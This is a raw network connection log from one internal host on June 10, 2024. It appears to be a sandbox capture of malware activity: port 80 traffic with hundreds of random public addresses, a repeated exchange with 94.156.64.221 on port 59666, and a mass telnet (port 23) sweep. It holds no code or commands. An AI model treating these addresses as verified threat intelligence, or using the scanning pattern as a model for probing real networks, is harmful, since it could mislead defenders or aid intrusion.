Jun 10, 2024 15:37:58.493674040 CEST	16833	80	192.168.2.13	183.180.158.37
Jun 10, 2024 15:37:58.493674040 CEST	16833	80	192.168.2.13	87.101.156.8
Jun 10, 2024 15:37:58.493686914 CEST	80	16833	40.14.87.7	192.168.2.13
Jun 10, 2024 15:37:58.493699074 CEST	80	16833	39.252.119.69	192.168.2.13
Jun 10, 2024 15:37:58.493700027 CEST	16833	80	192.168.2.13	212.148.218.185
Jun 10, 2024 15:37:58.493710995 CEST	80	16833	12.70.8.218	192.168.2.13
Jun 10, 2024 15:37:58.493722916 CEST	80	16833	103.147.236.94	192.168.2.13
Jun 10, 2024 15:37:58.493732929 CEST	16833	80	192.168.2.13	155.219.109.111
Jun 10, 2024 15:37:58.493733883 CEST	16833	80	192.168.2.13	39.252.119.69
Jun 10, 2024 15:37:58.493735075 CEST	80	16833	223.173.173.136	192.168.2.13
Jun 10, 2024 15:37:58.493738890 CEST	16833	80	192.168.2.13	206.74.220.141
Jun 10, 2024 15:37:58.493748903 CEST	80	16833	193.217.189.207	192.168.2.13
Jun 10, 2024 15:37:58.493762016 CEST	80	16833	39.224.6.63	192.168.2.13
Jun 10, 2024 15:37:58.493772984 CEST	80	16833	66.160.227.118	192.168.2.13
Jun 10, 2024 15:37:58.493784904 CEST	80	16833	199.93.138.167	192.168.2.13
Jun 10, 2024 15:37:58.493796110 CEST	80	16833	139.16.114.209	192.168.2.13
Jun 10, 2024 15:37:58.493805885 CEST	16833	80	192.168.2.13	40.14.87.7
Jun 10, 2024 15:37:58.493808031 CEST	16833	80	192.168.2.13	43.26.133.47
Jun 10, 2024 15:37:58.493808985 CEST	80	16833	150.54.2.101	192.168.2.13
Jun 10, 2024 15:37:58.493813038 CEST	16833	80	192.168.2.13	223.173.173.136
Jun 10, 2024 15:37:58.493813992 CEST	16833	80	192.168.2.13	12.70.8.218
Jun 10, 2024 15:37:58.493820906 CEST	16833	80	192.168.2.13	103.147.236.94
Jun 10, 2024 15:37:58.493820906 CEST	16833	80	192.168.2.13	39.224.6.63
Jun 10, 2024 15:37:58.493823051 CEST	80	16833	19.168.132.92	192.168.2.13
Jun 10, 2024 15:37:58.493829012 CEST	16833	80	192.168.2.13	193.217.189.207
Jun 10, 2024 15:37:58.493829012 CEST	16833	80	192.168.2.13	66.160.227.118
Jun 10, 2024 15:37:58.493829966 CEST	16833	80	192.168.2.13	139.16.114.209
Jun 10, 2024 15:37:58.493834972 CEST	16833	80	192.168.2.13	199.93.138.167
Jun 10, 2024 15:37:58.493839025 CEST	80	16833	85.239.85.221	192.168.2.13
Jun 10, 2024 15:37:58.493851900 CEST	80	16833	206.80.212.79	192.168.2.13
Jun 10, 2024 15:37:58.493859053 CEST	16833	80	192.168.2.13	19.168.132.92
Jun 10, 2024 15:37:58.493860960 CEST	16833	80	192.168.2.13	150.54.2.101
Jun 10, 2024 15:37:58.493865013 CEST	80	16833	99.98.214.85	192.168.2.13
Jun 10, 2024 15:37:58.493876934 CEST	80	16833	222.111.39.184	192.168.2.13
Jun 10, 2024 15:37:58.493891001 CEST	80	16833	120.207.36.0	192.168.2.13
Jun 10, 2024 15:37:58.493905067 CEST	80	16833	144.38.64.105	192.168.2.13
Jun 10, 2024 15:37:58.493916988 CEST	80	16833	1.151.158.215	192.168.2.13
Jun 10, 2024 15:37:58.493928909 CEST	80	16833	200.35.141.112	192.168.2.13
Jun 10, 2024 15:37:58.493941069 CEST	80	16833	166.89.187.217	192.168.2.13
Jun 10, 2024 15:37:58.493952990 CEST	80	16833	200.40.160.85	192.168.2.13
Jun 10, 2024 15:37:58.493962049 CEST	16833	80	192.168.2.13	85.239.85.221
Jun 10, 2024 15:37:58.493962049 CEST	16833	80	192.168.2.13	206.80.212.79
Jun 10, 2024 15:37:58.493964911 CEST	80	16833	223.21.250.21	192.168.2.13
Jun 10, 2024 15:37:58.493971109 CEST	16833	80	192.168.2.13	222.111.39.184
Jun 10, 2024 15:37:58.493977070 CEST	16833	80	192.168.2.13	120.207.36.0
Jun 10, 2024 15:37:58.493977070 CEST	16833	80	192.168.2.13	144.38.64.105
Jun 10, 2024 15:37:58.493978024 CEST	80	16833	167.34.17.7	192.168.2.13
Jun 10, 2024 15:37:58.493993044 CEST	80	16833	101.115.68.183	192.168.2.13
Jun 10, 2024 15:37:58.494004965 CEST	80	16833	44.247.72.65	192.168.2.13
Jun 10, 2024 15:37:58.494016886 CEST	80	16833	203.129.208.159	192.168.2.13
Jun 10, 2024 15:37:58.494028091 CEST	80	16833	221.43.38.87	192.168.2.13
Jun 10, 2024 15:37:58.494034052 CEST	16833	80	192.168.2.13	1.151.158.215
Jun 10, 2024 15:37:58.494035959 CEST	16833	80	192.168.2.13	200.40.160.85
Jun 10, 2024 15:37:58.494036913 CEST	16833	80	192.168.2.13	99.98.214.85
Jun 10, 2024 15:37:58.494036913 CEST	16833	80	192.168.2.13	166.89.187.217
Jun 10, 2024 15:37:58.494040966 CEST	80	16833	154.69.228.210	192.168.2.13
Jun 10, 2024 15:37:58.494048119 CEST	16833	80	192.168.2.13	200.35.141.112
Jun 10, 2024 15:37:58.494055033 CEST	80	16833	186.141.147.26	192.168.2.13
Jun 10, 2024 15:37:58.494066954 CEST	80	16833	204.11.247.148	192.168.2.13
Jun 10, 2024 15:37:58.494079113 CEST	80	16833	69.15.148.41	192.168.2.13
Jun 10, 2024 15:37:58.494090080 CEST	80	16833	210.49.127.201	192.168.2.13
Jun 10, 2024 15:37:58.494102001 CEST	80	16833	13.147.78.82	192.168.2.13
Jun 10, 2024 15:37:58.494102001 CEST	16833	80	192.168.2.13	101.115.68.183
Jun 10, 2024 15:37:58.494108915 CEST	16833	80	192.168.2.13	223.21.250.21
Jun 10, 2024 15:37:58.494112015 CEST	16833	80	192.168.2.13	44.247.72.65
Jun 10, 2024 15:37:58.494113922 CEST	16833	80	192.168.2.13	204.11.247.148
Jun 10, 2024 15:37:58.494117022 CEST	16833	80	192.168.2.13	167.34.17.7
Jun 10, 2024 15:37:58.494117022 CEST	16833	80	192.168.2.13	203.129.208.159
Jun 10, 2024 15:37:58.494170904 CEST	16833	80	192.168.2.13	221.43.38.87
Jun 10, 2024 15:37:58.494174004 CEST	16833	80	192.168.2.13	154.69.228.210
Jun 10, 2024 15:37:58.494177103 CEST	16833	80	192.168.2.13	69.15.148.41
Jun 10, 2024 15:37:58.494177103 CEST	16833	80	192.168.2.13	210.49.127.201
Jun 10, 2024 15:37:58.494177103 CEST	16833	80	192.168.2.13	13.147.78.82
Jun 10, 2024 15:37:58.494193077 CEST	16833	80	192.168.2.13	186.141.147.26
Jun 10, 2024 15:37:58.496381044 CEST	80	16833	151.96.159.34	192.168.2.13
Jun 10, 2024 15:37:58.496400118 CEST	80	16833	43.30.18.196	192.168.2.13
Jun 10, 2024 15:37:58.496412039 CEST	80	16833	106.127.46.99	192.168.2.13
Jun 10, 2024 15:37:58.496423960 CEST	80	16833	100.127.121.236	192.168.2.13
Jun 10, 2024 15:37:58.496436119 CEST	80	16833	222.147.58.234	192.168.2.13
Jun 10, 2024 15:37:58.496438980 CEST	16833	80	192.168.2.13	43.30.18.196
Jun 10, 2024 15:37:58.496448040 CEST	16833	80	192.168.2.13	106.127.46.99
Jun 10, 2024 15:37:58.496448040 CEST	80	16833	60.63.192.120	192.168.2.13
Jun 10, 2024 15:37:58.496459961 CEST	16833	80	192.168.2.13	100.127.121.236
Jun 10, 2024 15:37:58.496460915 CEST	80	16833	74.186.127.5	192.168.2.13
Jun 10, 2024 15:37:58.496474028 CEST	80	16833	159.210.141.240	192.168.2.13
Jun 10, 2024 15:37:58.496474981 CEST	16833	80	192.168.2.13	222.147.58.234
Jun 10, 2024 15:37:58.496489048 CEST	16833	80	192.168.2.13	74.186.127.5
Jun 10, 2024 15:37:58.496500015 CEST	80	16833	95.194.80.39	192.168.2.13
Jun 10, 2024 15:37:58.496504068 CEST	16833	80	192.168.2.13	151.96.159.34
Jun 10, 2024 15:37:58.496505022 CEST	16833	80	192.168.2.13	159.210.141.240
Jun 10, 2024 15:37:58.496505022 CEST	16833	80	192.168.2.13	60.63.192.120
Jun 10, 2024 15:37:58.496512890 CEST	80	16833	145.110.21.229	192.168.2.13
Jun 10, 2024 15:37:58.496525049 CEST	80	16833	203.127.1.115	192.168.2.13
Jun 10, 2024 15:37:58.496537924 CEST	80	16833	198.2.37.158	192.168.2.13
Jun 10, 2024 15:37:58.496548891 CEST	80	16833	108.171.149.155	192.168.2.13
Jun 10, 2024 15:37:58.496556044 CEST	16833	80	192.168.2.13	95.194.80.39
Jun 10, 2024 15:37:58.496562004 CEST	80	16833	202.240.10.11	192.168.2.13
Jun 10, 2024 15:37:58.496573925 CEST	80	16833	45.129.230.166	192.168.2.13
Jun 10, 2024 15:37:58.496582031 CEST	16833	80	192.168.2.13	108.171.149.155
Jun 10, 2024 15:37:58.496586084 CEST	80	16833	19.231.43.10	192.168.2.13
Jun 10, 2024 15:37:58.496589899 CEST	16833	80	192.168.2.13	198.2.37.158
Jun 10, 2024 15:37:58.496598959 CEST	80	16833	147.197.23.73	192.168.2.13
Jun 10, 2024 15:37:58.496611118 CEST	80	16833	167.191.47.148	192.168.2.13
Jun 10, 2024 15:37:58.496622086 CEST	80	16833	138.236.32.51	192.168.2.13
Jun 10, 2024 15:37:58.496635914 CEST	80	16833	68.107.200.242	192.168.2.13
Jun 10, 2024 15:37:58.496648073 CEST	80	16833	1.152.127.85	192.168.2.13
Jun 10, 2024 15:37:58.496651888 CEST	16833	80	192.168.2.13	202.240.10.11
Jun 10, 2024 15:37:58.496654034 CEST	16833	80	192.168.2.13	145.110.21.229
Jun 10, 2024 15:37:58.496659994 CEST	80	16833	149.244.177.89	192.168.2.13
Jun 10, 2024 15:37:58.496654034 CEST	16833	80	192.168.2.13	167.191.47.148
Jun 10, 2024 15:37:58.496664047 CEST	16833	80	192.168.2.13	203.127.1.115
Jun 10, 2024 15:37:58.496665001 CEST	16833	80	192.168.2.13	19.231.43.10
Jun 10, 2024 15:37:58.496664047 CEST	16833	80	192.168.2.13	45.129.230.166
Jun 10, 2024 15:37:58.496665001 CEST	16833	80	192.168.2.13	138.236.32.51
Jun 10, 2024 15:37:58.496673107 CEST	80	16833	42.164.152.65	192.168.2.13
Jun 10, 2024 15:37:58.496685982 CEST	80	16833	2.92.8.251	192.168.2.13
Jun 10, 2024 15:37:58.496701002 CEST	80	16833	213.134.4.102	192.168.2.13
Jun 10, 2024 15:37:58.496712923 CEST	80	16833	118.49.136.226	192.168.2.13
Jun 10, 2024 15:37:58.496721029 CEST	16833	80	192.168.2.13	147.197.23.73
Jun 10, 2024 15:37:58.496726036 CEST	80	16833	47.242.17.75	192.168.2.13
Jun 10, 2024 15:37:58.496730089 CEST	16833	80	192.168.2.13	68.107.200.242
Jun 10, 2024 15:37:58.496737957 CEST	80	16833	94.170.143.67	192.168.2.13
Jun 10, 2024 15:37:58.496737957 CEST	16833	80	192.168.2.13	42.164.152.65
Jun 10, 2024 15:37:58.496737957 CEST	16833	80	192.168.2.13	1.152.127.85
Jun 10, 2024 15:37:58.496751070 CEST	80	16833	105.22.124.243	192.168.2.13
Jun 10, 2024 15:37:58.496762991 CEST	16833	80	192.168.2.13	149.244.177.89
Jun 10, 2024 15:37:58.496762991 CEST	16833	80	192.168.2.13	2.92.8.251
Jun 10, 2024 15:37:58.496763945 CEST	80	16833	98.166.88.63	192.168.2.13
Jun 10, 2024 15:37:58.496778011 CEST	80	16833	195.225.202.23	192.168.2.13
Jun 10, 2024 15:37:58.496789932 CEST	80	16833	60.185.202.150	192.168.2.13
Jun 10, 2024 15:37:58.496802092 CEST	80	16833	196.127.160.13	192.168.2.13
Jun 10, 2024 15:37:58.496803045 CEST	16833	80	192.168.2.13	213.134.4.102
Jun 10, 2024 15:37:58.496814013 CEST	80	16833	199.124.85.54	192.168.2.13
Jun 10, 2024 15:37:58.496817112 CEST	16833	80	192.168.2.13	118.49.136.226
Jun 10, 2024 15:37:58.496822119 CEST	16833	80	192.168.2.13	47.242.17.75
Jun 10, 2024 15:37:58.496822119 CEST	16833	80	192.168.2.13	94.170.143.67
Jun 10, 2024 15:37:58.496823072 CEST	16833	80	192.168.2.13	105.22.124.243
Jun 10, 2024 15:37:58.496828079 CEST	80	16833	172.164.249.180	192.168.2.13
Jun 10, 2024 15:37:58.496840954 CEST	80	16833	205.237.238.200	192.168.2.13
Jun 10, 2024 15:37:58.496843100 CEST	16833	80	192.168.2.13	195.225.202.23
Jun 10, 2024 15:37:58.496854067 CEST	80	16833	156.115.134.70	192.168.2.13
Jun 10, 2024 15:37:58.496865988 CEST	80	16833	14.39.203.115	192.168.2.13
Jun 10, 2024 15:37:58.496876955 CEST	80	16833	104.252.44.61	192.168.2.13
Jun 10, 2024 15:37:58.496884108 CEST	16833	80	192.168.2.13	60.185.202.150
Jun 10, 2024 15:37:58.496886969 CEST	16833	80	192.168.2.13	196.127.160.13
Jun 10, 2024 15:37:58.496887922 CEST	80	16833	186.132.178.122	192.168.2.13
Jun 10, 2024 15:37:58.496890068 CEST	16833	80	192.168.2.13	172.164.249.180
Jun 10, 2024 15:37:58.496891022 CEST	16833	80	192.168.2.13	98.166.88.63
Jun 10, 2024 15:37:58.496901035 CEST	80	16833	161.7.190.144	192.168.2.13
Jun 10, 2024 15:37:58.496948004 CEST	16833	80	192.168.2.13	156.115.134.70
Jun 10, 2024 15:37:58.496953964 CEST	16833	80	192.168.2.13	199.124.85.54
Jun 10, 2024 15:37:58.496953964 CEST	16833	80	192.168.2.13	205.237.238.200
Jun 10, 2024 15:37:58.496957064 CEST	16833	80	192.168.2.13	14.39.203.115
Jun 10, 2024 15:37:58.496958971 CEST	16833	80	192.168.2.13	161.7.190.144
Jun 10, 2024 15:37:58.497014046 CEST	16833	80	192.168.2.13	104.252.44.61
Jun 10, 2024 15:37:58.497016907 CEST	16833	80	192.168.2.13	186.132.178.122
Jun 10, 2024 15:37:58.498368025 CEST	80	16833	43.98.181.119	192.168.2.13
Jun 10, 2024 15:37:58.498384953 CEST	80	16833	158.235.77.34	192.168.2.13
Jun 10, 2024 15:37:58.498398066 CEST	80	16833	73.219.90.166	192.168.2.13
Jun 10, 2024 15:37:58.498403072 CEST	16833	80	192.168.2.13	43.98.181.119
Jun 10, 2024 15:37:58.498409986 CEST	80	16833	122.14.141.87	192.168.2.13
Jun 10, 2024 15:37:58.498421907 CEST	16833	80	192.168.2.13	158.235.77.34
Jun 10, 2024 15:37:58.498423100 CEST	80	16833	150.54.125.194	192.168.2.13
Jun 10, 2024 15:37:58.498435974 CEST	80	16833	184.81.106.244	192.168.2.13
Jun 10, 2024 15:37:58.498436928 CEST	16833	80	192.168.2.13	73.219.90.166
Jun 10, 2024 15:37:58.498449087 CEST	80	16833	23.203.70.4	192.168.2.13
Jun 10, 2024 15:37:58.498461962 CEST	80	16833	96.144.164.241	192.168.2.13
Jun 10, 2024 15:37:58.498472929 CEST	80	16833	35.81.151.92	192.168.2.13
Jun 10, 2024 15:37:58.498485088 CEST	80	16833	111.24.66.13	192.168.2.13
Jun 10, 2024 15:37:58.498496056 CEST	80	16833	154.78.40.200	192.168.2.13
Jun 10, 2024 15:37:58.498501062 CEST	16833	80	192.168.2.13	150.54.125.194
Jun 10, 2024 15:37:58.498501062 CEST	16833	80	192.168.2.13	96.144.164.241
Jun 10, 2024 15:37:58.498507023 CEST	16833	80	192.168.2.13	122.14.141.87
Jun 10, 2024 15:37:58.498507977 CEST	16833	80	192.168.2.13	23.203.70.4
Jun 10, 2024 15:37:58.498508930 CEST	80	16833	146.169.187.113	192.168.2.13
Jun 10, 2024 15:37:58.498522997 CEST	80	16833	65.171.110.49	192.168.2.13
Jun 10, 2024 15:37:58.498536110 CEST	80	16833	159.188.11.85	192.168.2.13
Jun 10, 2024 15:37:58.498548031 CEST	80	16833	107.250.9.175	192.168.2.13
Jun 10, 2024 15:37:58.498558998 CEST	80	16833	68.192.23.111	192.168.2.13
Jun 10, 2024 15:37:58.498559952 CEST	16833	80	192.168.2.13	184.81.106.244
Jun 10, 2024 15:37:58.498559952 CEST	16833	80	192.168.2.13	35.81.151.92
Jun 10, 2024 15:37:58.498559952 CEST	16833	80	192.168.2.13	111.24.66.13
Jun 10, 2024 15:37:58.498569965 CEST	16833	80	192.168.2.13	154.78.40.200
Jun 10, 2024 15:37:58.498570919 CEST	80	16833	66.238.77.71	192.168.2.13
Jun 10, 2024 15:37:58.498575926 CEST	16833	80	192.168.2.13	159.188.11.85
Jun 10, 2024 15:37:58.498583078 CEST	80	16833	109.5.247.237	192.168.2.13
Jun 10, 2024 15:37:58.498595953 CEST	80	16833	168.158.103.249	192.168.2.13
Jun 10, 2024 15:37:58.498608112 CEST	80	16833	60.186.209.44	192.168.2.13
Jun 10, 2024 15:37:58.498620033 CEST	80	16833	57.96.220.87	192.168.2.13
Jun 10, 2024 15:37:58.498630047 CEST	16833	80	192.168.2.13	146.169.187.113
Jun 10, 2024 15:37:58.498631001 CEST	16833	80	192.168.2.13	107.250.9.175
Jun 10, 2024 15:37:58.498632908 CEST	80	16833	173.96.27.128	192.168.2.13
Jun 10, 2024 15:37:58.498635054 CEST	16833	80	192.168.2.13	65.171.110.49
Jun 10, 2024 15:37:58.498636007 CEST	16833	80	192.168.2.13	109.5.247.237
Jun 10, 2024 15:37:58.498635054 CEST	16833	80	192.168.2.13	68.192.23.111
Jun 10, 2024 15:37:58.498645067 CEST	80	16833	186.181.13.127	192.168.2.13
Jun 10, 2024 15:37:58.498657942 CEST	80	16833	186.240.224.231	192.168.2.13
Jun 10, 2024 15:37:58.498660088 CEST	16833	80	192.168.2.13	168.158.103.249
Jun 10, 2024 15:37:58.498672962 CEST	80	16833	196.173.78.5	192.168.2.13
Jun 10, 2024 15:37:58.498684883 CEST	80	16833	107.149.46.130	192.168.2.13
Jun 10, 2024 15:37:58.498696089 CEST	80	16833	50.253.215.197	192.168.2.13
Jun 10, 2024 15:37:58.498701096 CEST	16833	80	192.168.2.13	60.186.209.44
Jun 10, 2024 15:37:58.498701096 CEST	16833	80	192.168.2.13	66.238.77.71
Jun 10, 2024 15:37:58.498701096 CEST	16833	80	192.168.2.13	186.181.13.127
Jun 10, 2024 15:37:58.498708010 CEST	16833	80	192.168.2.13	57.96.220.87
Jun 10, 2024 15:37:58.498708010 CEST	16833	80	192.168.2.13	173.96.27.128
Jun 10, 2024 15:37:58.498708963 CEST	80	16833	190.29.198.205	192.168.2.13
Jun 10, 2024 15:37:58.498709917 CEST	16833	80	192.168.2.13	186.240.224.231
Jun 10, 2024 15:37:58.498720884 CEST	16833	80	192.168.2.13	196.173.78.5
Jun 10, 2024 15:37:58.498720884 CEST	16833	80	192.168.2.13	107.149.46.130
Jun 10, 2024 15:37:58.498722076 CEST	80	16833	77.127.54.38	192.168.2.13
Jun 10, 2024 15:37:58.498734951 CEST	80	16833	102.145.95.212	192.168.2.13
Jun 10, 2024 15:37:58.498745918 CEST	80	16833	69.237.122.117	192.168.2.13
Jun 10, 2024 15:37:58.498758078 CEST	80	16833	77.217.183.61	192.168.2.13
Jun 10, 2024 15:37:58.498770952 CEST	80	16833	162.215.139.137	192.168.2.13
Jun 10, 2024 15:37:58.498773098 CEST	16833	80	192.168.2.13	190.29.198.205
Jun 10, 2024 15:37:58.498783112 CEST	80	16833	156.251.85.106	192.168.2.13
Jun 10, 2024 15:37:58.498784065 CEST	16833	80	192.168.2.13	69.237.122.117
Jun 10, 2024 15:37:58.498784065 CEST	16833	80	192.168.2.13	77.127.54.38
Jun 10, 2024 15:37:58.498786926 CEST	16833	80	192.168.2.13	50.253.215.197
Jun 10, 2024 15:37:58.498791933 CEST	16833	80	192.168.2.13	102.145.95.212
Jun 10, 2024 15:37:58.498794079 CEST	80	16833	117.90.106.243	192.168.2.13
Jun 10, 2024 15:37:58.498795033 CEST	16833	80	192.168.2.13	77.217.183.61
Jun 10, 2024 15:37:58.498806953 CEST	80	16833	48.147.239.19	192.168.2.13
Jun 10, 2024 15:37:58.498819113 CEST	80	16833	35.161.234.23	192.168.2.13
Jun 10, 2024 15:37:58.498831034 CEST	80	16833	195.195.20.179	192.168.2.13
Jun 10, 2024 15:37:58.498842955 CEST	80	16833	137.224.20.241	192.168.2.13
Jun 10, 2024 15:37:58.498848915 CEST	16833	80	192.168.2.13	162.215.139.137
Jun 10, 2024 15:37:58.498855114 CEST	80	16833	176.70.36.164	192.168.2.13
Jun 10, 2024 15:37:58.498857021 CEST	16833	80	192.168.2.13	156.251.85.106
Jun 10, 2024 15:37:58.498869896 CEST	16833	80	192.168.2.13	117.90.106.243
Jun 10, 2024 15:37:58.498869896 CEST	16833	80	192.168.2.13	48.147.239.19
Jun 10, 2024 15:37:58.498888969 CEST	16833	80	192.168.2.13	35.161.234.23
Jun 10, 2024 15:37:58.498930931 CEST	16833	80	192.168.2.13	137.224.20.241
Jun 10, 2024 15:37:58.498930931 CEST	16833	80	192.168.2.13	195.195.20.179
Jun 10, 2024 15:37:58.498986006 CEST	16833	80	192.168.2.13	176.70.36.164
Jun 10, 2024 15:37:58.501127958 CEST	80	16833	72.248.196.7	192.168.2.13
Jun 10, 2024 15:37:58.501149893 CEST	80	16833	82.211.181.55	192.168.2.13
Jun 10, 2024 15:37:58.501163006 CEST	80	16833	81.17.74.79	192.168.2.13
Jun 10, 2024 15:37:58.501174927 CEST	80	16833	143.108.217.199	192.168.2.13
Jun 10, 2024 15:37:58.501187086 CEST	80	16833	171.5.153.210	192.168.2.13
Jun 10, 2024 15:37:58.501195908 CEST	16833	80	192.168.2.13	82.211.181.55
Jun 10, 2024 15:37:58.501199961 CEST	80	16833	157.202.245.15	192.168.2.13
Jun 10, 2024 15:37:58.501211882 CEST	80	16833	14.121.178.142	192.168.2.13
Jun 10, 2024 15:37:58.501216888 CEST	16833	80	192.168.2.13	81.17.74.79
Jun 10, 2024 15:37:58.501216888 CEST	16833	80	192.168.2.13	143.108.217.199
Jun 10, 2024 15:37:58.501216888 CEST	16833	80	192.168.2.13	171.5.153.210
Jun 10, 2024 15:37:58.501224041 CEST	80	16833	37.182.192.201	192.168.2.13
Jun 10, 2024 15:37:58.501233101 CEST	16833	80	192.168.2.13	157.202.245.15
Jun 10, 2024 15:37:58.501236916 CEST	80	16833	109.209.254.28	192.168.2.13
Jun 10, 2024 15:37:58.501250029 CEST	80	16833	222.177.58.108	192.168.2.13
Jun 10, 2024 15:37:58.501252890 CEST	16833	80	192.168.2.13	14.121.178.142
Jun 10, 2024 15:37:58.501261950 CEST	80	16833	195.151.43.227	192.168.2.13
Jun 10, 2024 15:37:58.501266956 CEST	16833	80	192.168.2.13	37.182.192.201
Jun 10, 2024 15:37:58.501272917 CEST	16833	80	192.168.2.13	109.209.254.28
Jun 10, 2024 15:37:58.501276016 CEST	80	16833	218.124.231.119	192.168.2.13
Jun 10, 2024 15:37:58.501288891 CEST	80	16833	79.130.253.80	192.168.2.13
Jun 10, 2024 15:37:58.501301050 CEST	80	16833	98.164.136.180	192.168.2.13
Jun 10, 2024 15:37:58.501312971 CEST	80	16833	222.147.177.44	192.168.2.13
Jun 10, 2024 15:37:58.501324892 CEST	80	16833	115.174.227.229	192.168.2.13
Jun 10, 2024 15:37:58.501336098 CEST	80	16833	76.119.3.137	192.168.2.13
Jun 10, 2024 15:37:58.501363039 CEST	16833	80	192.168.2.13	72.248.196.7
Jun 10, 2024 15:37:58.501379967 CEST	16833	80	192.168.2.13	222.177.58.108
Jun 10, 2024 15:37:58.501384974 CEST	16833	80	192.168.2.13	195.151.43.227
Jun 10, 2024 15:37:58.501384974 CEST	16833	80	192.168.2.13	79.130.253.80
Jun 10, 2024 15:37:58.501384974 CEST	16833	80	192.168.2.13	76.119.3.137
Jun 10, 2024 15:37:58.501389027 CEST	16833	80	192.168.2.13	115.174.227.229
Jun 10, 2024 15:37:58.501399994 CEST	16833	80	192.168.2.13	98.164.136.180
Jun 10, 2024 15:37:58.501421928 CEST	16833	80	192.168.2.13	218.124.231.119
Jun 10, 2024 15:37:58.501421928 CEST	16833	80	192.168.2.13	222.147.177.44
Jun 10, 2024 15:37:58.507507086 CEST	57214	59666	192.168.2.13	94.156.64.221
Jun 10, 2024 15:37:58.512355089 CEST	59666	57214	94.156.64.221	192.168.2.13
Jun 10, 2024 15:37:58.512423038 CEST	57214	59666	192.168.2.13	94.156.64.221
Jun 10, 2024 15:37:58.527276039 CEST	57214	59666	192.168.2.13	94.156.64.221
Jun 10, 2024 15:37:58.532171965 CEST	59666	57214	94.156.64.221	192.168.2.13
Jun 10, 2024 15:37:58.532226086 CEST	57214	59666	192.168.2.13	94.156.64.221
Jun 10, 2024 15:37:58.537085056 CEST	59666	57214	94.156.64.221	192.168.2.13
Jun 10, 2024 15:37:59.438272953 CEST	26049	23	192.168.2.13	120.232.172.253
Jun 10, 2024 15:37:59.438302040 CEST	26049	23	192.168.2.13	62.169.120.133
Jun 10, 2024 15:37:59.438302994 CEST	26049	23	192.168.2.13	140.55.190.93
Jun 10, 2024 15:37:59.438327074 CEST	26049	23	192.168.2.13	184.35.133.214
Jun 10, 2024 15:37:59.438327074 CEST	26049	23	192.168.2.13	149.18.80.227
Jun 10, 2024 15:37:59.438318968 CEST	26049	23	192.168.2.13	198.12.129.132
Jun 10, 2024 15:37:59.438328028 CEST	26049	23	192.168.2.13	183.197.219.105
Jun 10, 2024 15:37:59.438328028 CEST	26049	23	192.168.2.13	41.5.144.11
Jun 10, 2024 15:37:59.438337088 CEST	26049	23	192.168.2.13	9.219.248.44
Jun 10, 2024 15:37:59.438338041 CEST	26049	23	192.168.2.13	149.54.238.111
Jun 10, 2024 15:37:59.438338041 CEST	26049	23	192.168.2.13	71.187.174.83
Jun 10, 2024 15:37:59.438347101 CEST	26049	23	192.168.2.13	4.114.197.37
Jun 10, 2024 15:37:59.438348055 CEST	26049	23	192.168.2.13	44.91.43.186
Jun 10, 2024 15:37:59.438348055 CEST	26049	23	192.168.2.13	218.227.85.244
Jun 10, 2024 15:37:59.438348055 CEST	26049	23	192.168.2.13	150.129.26.101
Jun 10, 2024 15:37:59.438348055 CEST	26049	23	192.168.2.13	99.58.142.161
Jun 10, 2024 15:37:59.438363075 CEST	26049	23	192.168.2.13	201.96.142.144
Jun 10, 2024 15:37:59.438363075 CEST	26049	23	192.168.2.13	169.112.133.189
Jun 10, 2024 15:37:59.438364029 CEST	26049	23	192.168.2.13	208.88.215.213
Jun 10, 2024 15:37:59.438371897 CEST	26049	23	192.168.2.13	17.183.14.93
Jun 10, 2024 15:37:59.438371897 CEST	26049	23	192.168.2.13	150.151.231.141
Jun 10, 2024 15:37:59.438379049 CEST	26049	23	192.168.2.13	220.107.217.61
Jun 10, 2024 15:37:59.438379049 CEST	26049	23	192.168.2.13	9.234.80.229
Jun 10, 2024 15:37:59.438379049 CEST	26049	23	192.168.2.13	218.211.187.60
Jun 10, 2024 15:37:59.438381910 CEST	26049	23	192.168.2.13	179.131.216.42
Jun 10, 2024 15:37:59.438395977 CEST	26049	23	192.168.2.13	191.59.84.209
Jun 10, 2024 15:37:59.438400030 CEST	26049	23	192.168.2.13	147.126.144.239
Jun 10, 2024 15:37:59.438400030 CEST	26049	23	192.168.2.13	128.209.29.42
Jun 10, 2024 15:37:59.438400030 CEST	26049	23	192.168.2.13	58.234.244.229
Jun 10, 2024 15:37:59.438400030 CEST	26049	23	192.168.2.13	138.118.199.33
Jun 10, 2024 15:37:59.438406944 CEST	26049	23	192.168.2.13	199.207.225.89
Jun 10, 2024 15:37:59.438417912 CEST	26049	23	192.168.2.13	220.95.254.155
Jun 10, 2024 15:37:59.438417912 CEST	26049	23	192.168.2.13	139.188.40.170
Jun 10, 2024 15:37:59.438426971 CEST	26049	23	192.168.2.13	138.59.51.82
Jun 10, 2024 15:37:59.438427925 CEST	26049	23	192.168.2.13	106.53.156.111
Jun 10, 2024 15:37:59.438427925 CEST	26049	23	192.168.2.13	181.235.238.145
Jun 10, 2024 15:37:59.438427925 CEST	26049	23	192.168.2.13	137.226.112.129
Jun 10, 2024 15:37:59.438427925 CEST	26049	23	192.168.2.13	159.75.204.16
Jun 10, 2024 15:37:59.438431025 CEST	26049	23	192.168.2.13	2.43.238.93
Jun 10, 2024 15:37:59.438435078 CEST	26049	23	192.168.2.13	219.214.247.106
Jun 10, 2024 15:37:59.438435078 CEST	26049	23	192.168.2.13	51.2.72.147
Jun 10, 2024 15:37:59.438432932 CEST	26049	23	192.168.2.13	99.15.193.143
Jun 10, 2024 15:37:59.438432932 CEST	26049	23	192.168.2.13	116.231.140.149
Jun 10, 2024 15:37:59.438432932 CEST	26049	23	192.168.2.13	101.85.102.183
Jun 10, 2024 15:37:59.438440084 CEST	26049	23	192.168.2.13	1.57.214.60
Jun 10, 2024 15:37:59.438452005 CEST	26049	23	192.168.2.13	210.230.14.122
Jun 10, 2024 15:37:59.438452959 CEST	26049	23	192.168.2.13	109.14.62.240
Jun 10, 2024 15:37:59.438452005 CEST	26049	23	192.168.2.13	182.13.54.141
Jun 10, 2024 15:37:59.438452005 CEST	26049	23	192.168.2.13	77.127.19.39
Jun 10, 2024 15:37:59.438452005 CEST	26049	23	192.168.2.13	121.90.150.62
Jun 10, 2024 15:37:59.438458920 CEST	26049	23	192.168.2.13	100.154.130.132
Jun 10, 2024 15:37:59.438461065 CEST	26049	23	192.168.2.13	221.115.43.151
Jun 10, 2024 15:37:59.438465118 CEST	26049	23	192.168.2.13	206.190.246.108
Jun 10, 2024 15:37:59.438465118 CEST	26049	23	192.168.2.13	100.5.224.129
Jun 10, 2024 15:37:59.438465118 CEST	26049	23	192.168.2.13	195.104.143.246
Jun 10, 2024 15:37:59.438472033 CEST	26049	23	192.168.2.13	206.46.198.196
